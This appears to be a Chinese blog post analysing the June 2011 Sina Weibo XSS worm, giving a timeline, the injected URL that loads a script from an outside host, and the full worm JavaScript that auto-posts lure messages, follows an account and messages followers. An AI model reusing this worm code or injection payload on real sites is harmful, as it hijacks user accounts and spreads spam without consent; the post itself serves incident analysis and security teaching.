新浪微博XSS攻击事件
http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
- 20:14,开始有大量带V的认证用户中招转发蠕虫
- 20:30,2kt.cn中的病毒页面无法访问
- 20:32,新浪微博中hellosamy用户无法访问
- 21:02,新浪漏洞修补完毕
新浪微博XSS事件
- 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
- 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:
- http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL链接中的其实就是
< script src="//www.2kt.cn/images/t.js"></script>
其它
- 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
- 史上最著名的XSS攻击是Yahoo Mail 的Yamanner蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
- 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
- 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)
- function createXHR(){
- return window.XMLHttpRequest?
- new XMLHttpRequest():
- new ActiveXObject("Microsoft.XMLHTTP");
- }
- function getappkey(url){
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false);
- xmlHttp.send();
- result = xmlHttp.responseText;
- id_arr = '';
- id = result.match(/namecard=/"true/" title=/"[^/"]*/g);
- for(i=0;i<id.length;i++){
- sum = id[i].toString().split('"')[3];
- id_arr += sum + '||';
- }
- return id_arr;
- }
- function random_msg(){
- link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
- var msgs = [
- '郭美美事件的一些未注意到的细节:',
- '建党大业中穿帮的地方:',
- '让女人心动的100句诗歌:',
- '3D肉团团高清普通话版种子:',
- '这是传说中的神仙眷侣啊:',
- '惊爆!范冰冰艳照真流出了:',
- '杨幂被爆多次被潜规则:',
- '傻仔拿锤子去抢银行:',
- '可以监听别人手机的软件:',
- '个税起征点有望提到4000:'];
- var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
- msg = encodeURIComponent(msg);
- return msg;
- }
- function post(url,data,sync){
- xmlHttp = createXHR();
- xmlHttp.open("POST",url,sync);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(data);
- }
- function publish(){
- url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
- data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
- post(url,data,true);
- }
- function follow(){
- url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
- data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
- post(url,data,true);
- }
- function message(){
- url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
- ids = getappkey(url);
- id = ids.split('||');
- for(i=0;i<id.length - 1 & i<5;i++){
- msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
- msg = random_msg();
- msg = encodeURIComponent(msg);
- user = encodeURIComponent(encodeURIComponent(id[i]));
- data = 'content=' + msg + '&name=' + user + '&retcode=';
- post(msgurl,data,false);
- }
- }
- function main(){
- try{
- publish();
- }
- catch(e){}
- try{
- follow();
- }
- catch(e){}
- try{
- message();
- }
- catch(e){}
- }
- try{
- x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
- }
- catch(e){}
- main();
- var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
新浪微博XSS攻击事件的更多相关文章
- 新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)
function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Mi ...
- XSS第四节,XSS攻击实例(一)
在开始实例的讲解之前,先看一下XSS的危害情况,第一张图中说明和XSS相关的CVE漏洞有7417个(http://web.nvd.nist.gov/view/vuln/search-results?q ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- WEB安全测试之XSS攻击
目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...
- Web 安全之 XSS 攻击与防御
前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...
- 前端安全系列(一):如何防止XSS攻击?
原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...
- XSS 防范XSS 攻击的措施
XssSniper--0KEE TEAM XssSniper--0KEE TEAM XssSniper 扩展介绍 一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发 ...
- 转:前端安全之XSS攻击
前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...
- 【网络安全】给你讲清楚什么是XSS攻击
给你讲清楚什么是XSS攻击 1. 什么是XSS攻击 跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS) ...
随机推荐
- hdu 4111 Alice and Bob 记忆化搜索 博弈论
Alice and Bob Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://acm.hdu.edu.cn/showproblem.php?pi ...
- poj 3468 A Simple Problem with Integers 线段树区间加,区间查询和
A Simple Problem with Integers Time Limit: 1 Sec Memory Limit: 256 MB 题目连接 http://poj.org/problem?i ...
- IOS常用的第三方开发库
开发几个常用的开源类库及下载地址: 1.json json编码解码2.GTMBase64 base64编码解码3.TouchXML xml解析4.SFHFKeychainUtils 安全保存用户密码到 ...
- hdu 2176 取石子游戏
http://acm.hdu.edu.cn/showproblem.php?pid=2176 提示:尼姆博弈,异或 #include <iostream> #include <cst ...
- ClientDataSet的版本兼容性
ClientDataSet的版本兼容性 在Delphi的早期版本中,Data这个Variant类型的值内部使用的是AnsiString来存贮的字节流,但我并不确定Delphi从什么时候开始,将其改为了 ...
- golang的缓冲channel和无缓冲channel的区别
话说golang的channel同步的定义真是让人无力吐槽,码农的用户体验就这么难搞么,超耐磨阿,无缓冲和缓冲居然有这么大区别....靠 转载一段网上的资料 --------------------- ...
- Android之MVC模式
MVC (Model-View-Controller):M是指逻辑模型,V是指视图模型,C则是控制器.一个逻辑模型可以对于多种视图模型,比如一批统计数据 你可以分别用柱状图.饼图来表示.一种视图模型也 ...
- OpenCV Shi-Tomasi角点检测子
Shi-Tomasi角点检测子 目标 在这个教程中我们将涉及: 使用函数 goodFeaturesToTrack 来调用Shi-Tomasi方法检测角点. 理论 代码 这个教程的代码如下所示.源代码还 ...
- JSONObject 转换 JSON复杂对象
Bean定义: public class GetM100DataResponse { private String service;//接口代码 private String sessionId;// ...
- go语言基础之闭包捕获外部变量特点
1.闭包捕获外部变量特点 示例: package main //必须 import "fmt" func main() { a := 10 str := "mike&qu ...